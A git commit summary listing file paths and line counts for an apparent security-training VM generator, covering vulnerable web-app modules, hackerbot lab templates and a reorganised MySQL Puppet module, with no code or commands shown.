+ .../pragmarx/google2fa/tests/bootstrap.php | 42 + .../vendor/pragmarx/google2fa/upgrading.md | 2 + .../vendor/symfony/polyfill-php56/LICENSE | 19 + .../vendor/symfony/polyfill-php56/Php56.php | 138 + .../vendor/symfony/polyfill-php56/README.md | 15 + .../symfony/polyfill-php56/bootstrap.php | 38 + .../symfony/polyfill-php56/composer.json | 32 + .../vendor/symfony/polyfill-util/Binary.php | 18 + .../polyfill-util/BinaryNoFuncOverload.php | 65 + .../polyfill-util/BinaryOnFuncOverload.php | 67 + .../vendor/symfony/polyfill-util/LICENSE | 19 + .../vendor/symfony/polyfill-util/README.md | 13 + .../symfony/polyfill-util/TestListener.php | 154 + .../symfony/polyfill-util/composer.json | 30 + .../files/userspice/users/verify.php | 80 + .../files/userspice/users/verify_resend.php | 95 + .../files/userspice/users/view_all_users.php | 109 + .../files/userspice/users/views/.htaccess | 2 + .../users/views/_admin_css_samples.php | 20 + .../users/views/_admin_css_settings.php | 48 + .../users/views/_admin_login_settings.php | 76 + .../users/views/_admin_register_settings.php | 85 + .../users/views/_admin_site_settings.php | 208 + .../userspice/users/views/_admin_stats.php | 74 + .../users/views/_email_adminPwReset.php | 20 + .../users/views/_email_adminUser.php | 20 + .../users/views/_email_msg_template.php | 19 + .../views/_email_template_forgot_password.php | 19 + .../users/views/_email_template_verify.php | 19 + .../views/_email_template_verify_new.php | 18 + .../users/views/_forgot_password.php | 42 + .../users/views/_forgot_password_reset.php | 42 + .../views/_forgot_password_reset_error.php | 27 + .../views/_forgot_password_reset_success.php | 27 + .../users/views/_forgot_password_sent.php | 27 + .../files/userspice/users/views/_join.php | 187 + .../userspice/users/views/_joinDisabled.php | 29 + .../userspice/users/views/_joinThankYou.php | 29 + .../users/views/_joinThankYou_verify.php | 27 + .../userspice/users/views/_verify_error.php | 27 + .../userspice/users/views/_verify_resend.php | 39 + .../users/views/_verify_resend_success.php | 26 + .../userspice/users/views/_verify_success.php | 27 + .../files/userspice/usersc/.htaccess | 1 + .../files/userspice/usersc/css/custom.css | 0 .../files/userspice/usersc/empty.php | 0 .../usersc/includes/admin_panel_buttons.php | 8 + .../includes/admin_panel_custom_settings.php | 10 + .../admin_panel_custom_settings_post.php | 3 + .../userspice/usersc/includes/analytics.php | 23 + .../usersc/includes/bootstrap_corrections.php | 39 + .../usersc/includes/custom_functions.php | 23 + .../includes/database_navigation_hooks.php | 4 + .../example_admin_user_system_settings.php | 12 + .../userspice/usersc/includes/footer.php | 43 + .../userspice/usersc/includes/head_tags.php | 6 + .../userspice/usersc/includes/navigation.php | 36 + .../usersc/includes/navigation_dropdown.php | 27 + .../usersc/includes/navigation_right_side.php | 28 + .../includes/oauth_success_redirect.php | 3 + .../usersc/includes/security_headers.php | 83 + .../usersc/includes/user_agreement.php | 20 + .../scripts/additional_join_form_fields.php | 13 + .../files/userspice/usersc/scripts/banned.php | 11 + .../usersc/scripts/custom_login_script.php | 6 + .../scripts/did_not_have_permission.php | 4 + .../usersc/scripts/during_user_creation.php | 32 + .../usersc/scripts/just_after_logout.php | 5 + .../usersc/scripts/just_before_logout.php | 3 + .../usersc/scripts/not_logged_in.php | 4 + .../userspice/usersc/scripts/token_error.php | 20 + .../files/userspice/z_us_root.php | 26 + .../webapp/userspice_43/manifests/apache.pp | 21 + .../webapp/userspice_43/manifests/init.pp | 9 + .../webapp/userspice_43/manifests/install.pp | 37 + .../webapp/userspice_43/secgen_metadata.xml | 68 + .../userspice_43/templates/userspice.sh.erb | 15 + .../unix/webapp/userspice_43/userspice_43.pp | 1 + .../webapp/wordpress_1x/manifests/init.pp | 43 + .../webapp/wordpress_1x/secgen_metadata.xml | 73 + .../unix/webapp/wordpress_1x/wordpress_1x.pp | 1 + .../webapp/wordpress_2x/manifests/init.pp | 51 + .../webapp/wordpress_2x/secgen_metadata.xml | 78 + .../unix/webapp/wordpress_2x/wordpress_2x.pp | 1 + .../webapp/wordpress_3x/manifests/init.pp | 60 + .../webapp/wordpress_3x/secgen_metadata.xml | 79 + .../unix/webapp/wordpress_3x/wordpress_3x.pp | 1 + .../webapp/wordpress_4x/manifests/init.pp | 51 + .../webapp/wordpress_4x/secgen_metadata.xml | 74 + .../unix/webapp/wordpress_4x/wordpress_4x.pp | 1 + scenarios/examples/requires.xml | 20 + .../gitlist_webapp_vulnerability.xml | 2 +- .../moinmoin_195_vulnerabilitiy.xml | 2 +- .../vulnerability_examples/online_store.xml | 2 +- .../vulnerability_examples/userspice_43.xml | 17 + .../wordpress_examples/wordpress_1x.xml | 40 + .../wordpress_examples/wordpress_2x.xml | 75 + .../wordpress_examples/wordpress_3x.xml | 136 + .../wordpress_examples/wordpress_48.xml | 31 + .../wordpress_examples/wordpress_4x.xml | 177 + scenarios/labs/1_integrity_protection.xml | 2 +- scenarios/labs/hacker_vs_hackerbot_1and2.xml | 327 + scenarios/security_audit/ads_assignment.xml | 91 + .../authentication_access_control_vulns.xml | 76 + scenarios/security_audit/wns_assignment.xml | 28 + scenarios/test_scenario.xml | 30 + secgen.rb | 26 +- wns_students | 1 + 1302 files changed, 184888 insertions(+), 45 deletions(-) create mode 100644 ads_students create mode 100644 modules/bases/debian_stretch/secgen_metadata.xml create mode 100644 modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml create mode 100644 modules/generators/random/random_wordpress_1x/manifests/.no_puppet create mode 100644 modules/generators/random/random_wordpress_1x/random_wordpress_1x.pp create mode 100644 modules/generators/random/random_wordpress_1x/secgen_local/local.rb create mode 100644 modules/generators/random/random_wordpress_1x/secgen_metadata.xml create mode 100644 modules/generators/random/random_wordpress_2x/manifests/.no_puppet create mode 100644 modules/generators/random/random_wordpress_2x/random_wordpress_2x.pp create mode 100644 modules/generators/random/random_wordpress_2x/secgen_local/local.rb create mode 100644 modules/generators/random/random_wordpress_2x/secgen_metadata.xml create mode 100644 modules/generators/random/random_wordpress_3x/manifests/.no_puppet create mode 100644 modules/generators/random/random_wordpress_3x/random_wordpress_3x.pp create mode 100644 modules/generators/random/random_wordpress_3x/secgen_local/local.rb create mode 100644 modules/generators/random/random_wordpress_3x/secgen_metadata.xml create mode 100644 modules/generators/random/random_wordpress_4x/manifests/.no_puppet create mode 100644 modules/generators/random/random_wordpress_4x/random_wordpress_4x.pp create mode 100644 modules/generators/random/random_wordpress_4x/secgen_local/local.rb create mode 100644 modules/generators/random/random_wordpress_4x/secgen_metadata.xml create mode 100644 modules/generators/random/random_wordpress_version/manifests/.no_puppet create mode 100644 modules/generators/random/random_wordpress_version/random_wordpress_version.pp create mode 100644 modules/generators/random/random_wordpress_version/secgen_local/local.rb create mode 100644 modules/generators/random/random_wordpress_version/secgen_metadata.xml create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/hacker_vs_hackerbot_1and2.pp create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/manifests/.no_puppet create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb create mode 100644 modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.project create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/LICENSE (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/README.md create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/TODO (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/backup.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/bindings.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/java.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/mysql_database.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/mysql_db.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/mysql_grant.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/mysql_plugin.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/mysql_user.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/perl.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/python.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/ruby.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/server.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/server/account_security.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/examples/server/config.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/bindings/java.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/bindings/perl.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/bindings/php.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/bindings/python.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/bindings/ruby.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/client/install.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/server/install.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/server/monitor.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/server/providers.pp (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/manifests/server/root_password.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/mysql.pp (100%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/secgen_metadata.xml (88%) create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json create mode 100755 modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json create mode 100755 modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/templates/meb.cnf.erb (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/templates/my.cnf.erb (100%) rename modules/services/unix/database/{ => mysql_stretch_compatible}/mysql/templates/my.cnf.pass.erb (100%) create mode 100755 modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb create mode 100644 modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/CHANGELOG.md (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/CONTRIBUTING.md (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/Gemfile (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/NOTICE (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/README.md (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/Rakefile (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/checksums.json (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/facter/mysql_server_id.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/facter/mysql_version.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/parser/functions/mysql_dirname.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/parser/functions/mysql_password.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/parser/functions/mysql_table_exists.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql_database/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql_datadir/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql_grant/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql_plugin/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/provider/mysql_user/mysql.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/type/mysql_database.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/type/mysql_datadir.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/type/mysql_grant.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/type/mysql_plugin.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/lib/puppet/type/mysql_user.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/backup/mysqlbackup.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/backup/mysqldump.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/backup/xtrabackup.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/bindings.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/bindings/client_dev.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/bindings/daemon_dev.pp (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/client.pp (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/db.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/params.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/account_security.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/backup.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/config.pp (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp 